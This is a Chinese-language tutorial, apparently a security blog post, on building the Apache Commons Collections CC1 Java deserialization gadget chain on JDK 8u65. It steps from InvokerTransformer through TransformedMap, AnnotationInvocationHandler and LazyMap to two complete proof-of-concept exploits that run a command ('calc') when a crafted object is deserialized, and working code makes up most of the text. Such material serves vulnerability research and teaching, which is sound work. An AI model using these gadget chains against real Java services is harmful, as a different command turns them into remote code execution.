image-20220409095154513

# 环境搭建

这里的版本是 jdk8u65

配置 idea

先在 project structure 设置

image-20220407185647762

image-20220407185702951

再在 setting 里面设置

image-20220407185732599

即可

# InvokerTransformer.transform

CC1 漏洞点在 InvokerTransformer

InvokerTransformer

image-20220407132047195

可以看到这个类的 transform 方法中有任意方法调用

做个 demo

先用反射调用函数

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class cc1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Runtime r = Runtime.getRuntime();
        Class  c = Runtime.class;
        Method method = c.getMethod("exec", String.class);
        method.invoke(r,"calc");
    }
}

image-20220407132613739

然后使用这个类进行任意方法调用

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class cc1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
         Runtime r = Runtime.getRuntime();
         new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

image-20220407132936537

然后看哪个类调用 transform 方法

# TransformedMap.checkSetValue

找到了 TransformedMap 方法

image-20220407140106703

这里会调用 transform 方法

看一下构造函数

image-20220407140248841

简单理解为对传入的 keyvalue 进行操作,操作内容就在传入的 Transformer 里面,就是说只要我们把 valueTransformer 设置为 InvokerTransformer ,那么调用 checkSetValue 的时候就会调用其 transform 方法

接着我们寻找调用了 TransformedMap.checkSetValue 的类

# AbstractInputCheckedMapDecorator.MapEntry

找到了 AbstractInputCheckedMapDecorator 类,注意 AbstractInputCheckedMapDecoratorTransformedMap 的父类

image-20220407141656836

MapEntry 中调用了 checkSetValue 方法,而 MapEntry 是在遍历 Map 的时候会调用

继续测试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Runtime r = Runtime.getRuntime();
//        Class  c = Runtime.class;
//        Method method = c.getMethod("exec", String.class);
//        method.invoke(r,"calc");
         InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
         //invokerTransformer.transform(r)
         HashMap<Object,Object> map = new HashMap<>();
         map.put("key", "aaa");
         Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, invokerTransformer);
         for (Map.Entry entry : transformedMap.entrySet())
         {
             entry.setValue(r);
         }
    }
}

image-20220407141919792

然后我们看看有谁的 readObject 调用了 setvalue

# AnnotationInvocationHandler.readObject

jdk8u71 前 , 该类的源码是

Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
   Entry var5 = (Entry)var4.next();
   String var6 = (String)var5.getKey();
   Class var7 = (Class)var3.get(var6);
   if (var7 != null) {
       Object var8 = var5.getValue();
       if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
           var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
      }
  }
}

这里有一个 setValue() 函数

然后酱紫修改

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Runtime r = Runtime.getRuntime();
//        Class  c = Runtime.class;
//        Method method = c.getMethod("exec", String.class);
//        method.invoke(r,"calc");
         InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
         //invokerTransformer.transform(r)
         HashMap<Object,Object> map = new HashMap<>();
         map.put("key", "aaa");
         Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, invokerTransformer);
 //        for (Map.Entry entry : transformedMap.entrySet())
 //        {
 //            entry.setValue(r);
 //         }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
}

# 一些小问题

  • 第一个就是我们之前 setValue 的时候直接设置 Runtime 对象,而这里是 AnnotationTypeMismatchExceptionProxy 对象
  • 第二个问题就是 Runtime 对象不能序列化,只能通过反射
  • 第三个问题就是想要调用 setValue 要有几个 if 判断

# 解决 Runtime 对象序列化:

Runtime 对象不能序列化,但是 Runtime.class 可以序列化,通过反射来调用

Class c = Runtime.class;
        Method getRuntimeMethod =  c.getMethod("getRuntime" , null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");

然后再将其修改为 InvokerTransformer 版本

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}  ).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里因为是重复调用,所以考虑 ChainedTransformer

image-20220407173147883

可以看到 ChainedTransformer 的构造函数中传递一个方法数组并且赋值给这个变量,然后在 transform 中进行递归调用

那我们先定义一个 Transformer 数组,然后传入 ChainedTransformer

Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

# if 判断

第一个 if 判断

var7 != null

是让我们的 map 里面的 key 与成员方法相同

跟进 Override 发现 target 里面有个 value 方法,所以将 Override.class 修改为 target.class 并且将 map 的 "key" 修改为 "value"

image-20220407184908087

image-20220407184919948

# AnnotationTypeMismatchExceptionProxy 对象

我们走到这里的时候会发现,这里的 value 是 AnnotationTypeMismatchExceptionProxy 对象

image-20220407180222228

回忆一下前面 chainedTransformer

chainedTransformer.transform(Runtime.class);

调用的是 Runtime.class 对象

这里引入另一个类: ConstantTransformer

image-20220407180427351

可以看到 ConstantTransformer.transform 不管传入什么都会返回固定的值

那么我们只要让这个 iConstant为Runtime.class 即可

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

# poc1

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
}

image-20220407185413552

# yso 中 cc 链

yso 中的 cc 链与上面这条的区别就是利用 AnnotationInvocationHandler.invoke() 方法可以调用到 LazyMapget() 方法

我们看一下 LazyMap 中方法

image-20220407214109339

image-20220407214130135

这个 get 方法中调用了 transform 方法,只要我们将 this.factory 设置为 ChainedTransformer 即可

然后看看 AnnotationInvocationHandler.invoke()

image-20220407214407404

所以让其 memberValuesLazyMap 即可

# poc2

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap =  LazyMap.decorate(map, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap);
        Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxy);
        serialize(o);
        unserialize("ser.bin");
    }
}

image-20220407215225451